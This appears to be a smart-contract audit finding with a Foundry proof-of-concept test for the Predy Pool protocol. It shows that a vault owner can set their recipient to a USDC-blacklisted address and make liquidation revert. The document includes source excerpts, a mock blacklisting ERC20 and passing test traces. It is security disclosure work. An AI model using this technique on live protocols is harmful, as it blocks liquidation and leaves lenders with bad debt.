    //File:///src/PredyPool.sol

    function updateRecepient(uint256 vaultId, address recipient) external onlyVaultOwner(vaultId) {
        DataType.Vault storage vault = globalData.vaults[vaultId];

        vault.recipient = recipient;

        emit RecepientUpdated(vaultId, recipient);
    }
    //File:///src/libraries/logic/LiquidationLogic.sol

    function liquidate(
        uint256 vaultId,
        uint256 closeRatio,
        GlobalDataLibrary.GlobalData storage globalData,
        bytes memory settlementData
    ) external returns (IPredyPool.TradeResult memory tradeResult) {
        ...

        if (!hasPosition) {
            int256 remainingMargin = vault.margin;

            if (remainingMargin > 0) {
                if (vault.recipient != address(0)) {
                    // Send the remaining margin to the recipient.
                    vault.margin = 0;

                    sentMarginAmount = uint256(remainingMargin);

                    ERC20(pairStatus.quotePool.token).safeTransfer(vault.recipient, sentMarginAmount);
                }
            ...
            }
        }
    }
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "./Setup.t.sol";
import "../mocks/TestTradeMarket.sol";
import {SlippageLib} from "../../src/libraries/SlippageLib.sol";

contract TestExecLiquidationCall is TestPool {
    ...
    address liquidator;

    function setUp() public override {
        ...
        liquidator = makeAddr("liquidator");
        currency0.mint(liquidator, 1e10);
        currency1.mint(liquidator, 1e10);
        vm.startPrank(liquidator);
        currency0.approve(address(_tradeMarket), 1e10);
        currency1.approve(address(_tradeMarket), 1e10);
        vm.stopPrank();
    }

    ...
    // @note malicious user is this contract address, _tradeMarket is their malicious market/trading contract.
    function test_audit_LiquidateBlacklist() public {
        address blacklisted = 0x0E6b8E34dC115a2848F585851AF23D99D09b8463;
        // taken from testLiquidateSucceedsIfVaultIsDanger case
        IPredyPool.TradeParams memory tradeParams =
            IPredyPool.TradeParams(1, 0, -4 * 1e8, 0, abi.encode(_getTradeAfterParams(1e8)));

        // malicious user trades through their own market contract
        _tradeMarket.trade(tradeParams, _getSettlementData(Constants.Q96));

        // simulate unfavorable market move
        _movePrice(true, 6 * 1e16);
        vm.warp(block.timestamp + 30 minutes);

        // malicious user sets their vault.recipient to blacklisted address
        vm.startPrank(address(_tradeMarket));
        predyPool.updateRecepient(1, blacklisted);
        vm.stopPrank();

        //vault cannot be liquidated, inner error is "Blacklistable: account is blacklisted"
        vm.startPrank(liquidator);
        vm.expectRevert("TRANSFER_FAILED");
        _tradeMarket.execLiquidationCall(1, 1e18, _getSettlementData(Constants.Q96 * 11000 / 10000));
        vm.stopPrank();
    }
    ...
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {ERC20} from "@solmate/src/tokens/ERC20.sol";

/**
 * @notice Mock of ERC20 contract
 */
contract MockERC20 is ERC20 {

    ...
    //@note adapted from Blacklistable.sol as used by USDC contract on arbitrum, 0xaf88d065e77c8cc2239327c5edb3a432268e5831
    modifier notBlacklisted(address _account) {
        require(_account != 0x0E6b8E34dC115a2848F585851AF23D99D09b8463, "Blacklistable: account is blacklisted");
        _;
    }

    function transfer(address to, uint256 amount) public override notBlacklisted(to) returns (bool) {
        return super.transfer(to, amount);
    }
}
    $ forge test --match-test test_audit_LiquidateBlacklist  -vvvv
    [] Compiling...
    No files changed, compilation skipped

    Running 1 test for test/pool/ExecLiquidationCall.t.sol:TestExecLiquidationCall
    [PASS] test_audit_LiquidateBlacklist() (gas: 1159010)
    Traces:
      [1159010] TestExecLiquidationCall::test_audit_LiquidateBlacklist()
      ...
                  [534] MockERC20::transfer(0x0E6b8E34dC115a2848F585851AF23D99D09b8463, 59999247 [5.999e7])
                      revert: Blacklistable: account is blacklisted
                   0x08c379a00000...
                revert: TRANSFER_FAILED
             revert: TRANSFER_FAILED
         [0] VM::stopPrank()
             ()
          ()

    Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.71ms
